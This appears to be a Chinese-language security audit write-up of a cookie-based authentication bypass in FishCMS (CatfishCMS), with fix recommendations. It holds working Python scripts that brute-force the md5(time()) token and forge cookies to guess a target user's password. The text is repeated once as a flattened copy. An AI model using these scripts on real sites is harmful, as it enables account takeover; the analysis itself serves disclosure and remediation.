某fishcms 之记一次有趣的审计
字数 1001 2025-08-29 08:32:30

FishCMS 认证绕过漏洞分析与利用

漏洞概述

本文详细分析 FishCMS (CatfishCMS) 中的一个有趣的认证绕过漏洞,该漏洞允许攻击者在知道目标用户名的情况下,通过爆破密码来绕过认证机制。

漏洞发现位置

漏洞存在于 user/controller/common.php 文件中的认证逻辑。

关键代码分析

认证流程

认证流程包含三个关键判断条件:

// 第一个判断条件
if(
    !Session::has($this->session_prefix.'user_id') 
    && Cookie::has($this->session_prefix.'user_id') 
    && Cookie::has($this->session_prefix.'user')
)

// 第二个判断条件
$cookie_user_p = Cache::get('cookie_user_p');
if(
    Cookie::has($this->session_prefix.'user_p') 
    && $cookie_user_p !== false
)

// 第三个判断条件
$user = 从数据库中查找 $_COOKIE['user'] 对应的 pass  user_type
if(
    !empty($user) 
    && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')
)

关键变量说明

  1. $this->session_prefix:由网站根目录生成,格式为 catfish + 根目录值(替换特殊字符)
  2. $cookie_user_p:通过 Cache::get('cookie_user_p') 获取,仅在登录时设置

认证令牌生成

登录时生成的关键代码:

$cookie_user_p = md5(time()); // 使用当前时间戳的MD5作为种子
Cookie::set(前缀.'user_p', md5($cookie_user_p.$user['user_pass']), 604800);

漏洞原理

  1. 认证依赖:系统在用户未登录时,允许通过Cookie中的信息进行认证
  2. 弱随机数$cookie_user_p 使用 md5(time()) 生成,可被爆破
  3. 持久性:注销操作不会清除Cache中的 cookie_user_p

漏洞利用步骤

1. 获取必要信息

  1. 正常登录一个账户,勾选"记住我"
  2. 记录登录后的Cookie:
    • catfishCatfishCMS|4?8?75user_p (示例值: 7541e2cc792bd77faf926e96a6006031)
    • 前缀 (catfishCatfishCMS|4?8?75)

2. 爆破 $cookie_user_p

使用近似时间戳爆破:

import hashlib

def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

cookie_user_p = 1558287843 # 近似时间戳
login_password = '123456' # 已知密码
target_hash = "7541e2cc792bd77faf926e96a6006031" # 示例user_p

while True:
    if md5(md5(str(cookie_user_p)) + md5(login_password)) == target_hash:
        break
    cookie_user_p -= 1

print(cookie_user_p) # 输出爆破出的时间戳

3. 构造攻击Cookie

爆破出正确的时间戳后,构造以下Cookie:

catfishCatfishCMS|4?8?75user_id=any
catfishCatfishCMS|4?8?75user=目标用户名
catfishCatfishCMS|4?8?75user_p=md5(md5(爆破出的时间戳)+md5(目标密码))

4. 自动化爆破脚本

import requests
import hashlib

passwords = [
    '123456', '12345', '123456789', 'password', 'iloveyou',
    'princess', '1234567', 'rockyou', '12345678', 'abc123'
]

def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

url = "http://target.com/user.html"
session_prefix = 'catfishCatfishCMS|4?8?75' # 前缀
user_p = '7541e2cc792bd77faf926e96a6006031' # 示例user_p
login_password = '123456' # 已知密码
cookie_user_p = 1558287843 # 近似时间戳

# 爆破时间戳
while True:
    if md5(md5(str(cookie_user_p))+md5(login_password)) == user_p:
        break
    cookie_user_p -= 1

# 爆破目标账户
username = 'target_user'
for passwd in passwords:
    print(f"Testing: {passwd}")
    cookie = {
        "think_var": "zh-cn",
        "PHPSESSID": "session_id",
        session_prefix+"user_id": "any",
        session_prefix+"user": username,
        session_prefix+"user_p": md5(md5(str(cookie_user_p))+md5(passwd)),
    }
    
    r = requests.get(url, cookies=cookie, allow_redirects=False)
    if 'location' not in r.headers or 'login' not in r.headers.get('location', ''):
        print(f"Success! Credentials: {username}:{passwd}")
        break

漏洞修复建议

  1. 使用更强的随机数生成 $cookie_user_p,如:
    $cookie_user_p = md5(uniqid(mt_rand(), true));
    
  2. 在注销时清除Cache中的 cookie_user_p
  3. 增加密码尝试次数限制
  4. 使用更强的哈希算法(如bcrypt)替代简单的MD5

漏洞影响

该漏洞允许攻击者在知道用户名的情况下:

  1. 爆破用户密码
  2. 绕过认证机制
  3. 获取用户会话

虽然需要知道目标用户名,但在CMS系统中,用户名往往容易获取(如作者名、管理员名等)。

总结

FishCMS的这个认证绕过漏洞展示了几个常见的安全问题:

  1. 弱随机数使用
  2. 不完整的会话清理
  3. 依赖客户端可控的认证令牌
  4. 简单的哈希算法

开发人员应当注意认证逻辑中的这些陷阱,使用更强的加密方法和更完善的会话管理机制。

FishCMS 认证绕过漏洞分析与利用 漏洞概述 本文详细分析 FishCMS (CatfishCMS) 中的一个有趣的认证绕过漏洞,该漏洞允许攻击者在知道目标用户名的情况下,通过爆破密码来绕过认证机制。 漏洞发现位置 漏洞存在于 user/controller/common.php 文件中的认证逻辑。 关键代码分析 认证流程 认证流程包含三个关键判断条件: 关键变量说明 $this->session_prefix :由网站根目录生成,格式为 catfish + 根目录值(替换特殊字符) $cookie_user_p :通过 Cache::get('cookie_user_p') 获取,仅在登录时设置 认证令牌生成 登录时生成的关键代码: 漏洞原理 认证依赖 :系统在用户未登录时,允许通过Cookie中的信息进行认证 弱随机数 : $cookie_user_p 使用 md5(time()) 生成,可被爆破 持久性 :注销操作不会清除Cache中的 cookie_user_p 值 漏洞利用步骤 1. 获取必要信息 正常登录一个账户,勾选"记住我" 记录登录后的Cookie: catfishCatfishCMS|4?8?75user_p (示例值: 7541e2cc792bd77faf926e96a6006031 ) 前缀 ( catfishCatfishCMS|4?8?75 ) 2. 爆破 $cookie_user_p 使用近似时间戳爆破: 3. 构造攻击Cookie 爆破出正确的时间戳后,构造以下Cookie: 4. 自动化爆破脚本 漏洞修复建议 使用更强的随机数生成 $cookie_user_p ,如: 在注销时清除Cache中的 cookie_user_p 值 增加密码尝试次数限制 使用更强的哈希算法(如bcrypt)替代简单的MD5 漏洞影响 该漏洞允许攻击者在知道用户名的情况下: 爆破用户密码 绕过认证机制 获取用户会话 虽然需要知道目标用户名,但在CMS系统中,用户名往往容易获取(如作者名、管理员名等)。 总结 FishCMS的这个认证绕过漏洞展示了几个常见的安全问题: 弱随机数使用 不完整的会话清理 依赖客户端可控的认证令牌 简单的哈希算法 开发人员应当注意认证逻辑中的这些陷阱,使用更强的加密方法和更完善的会话管理机制。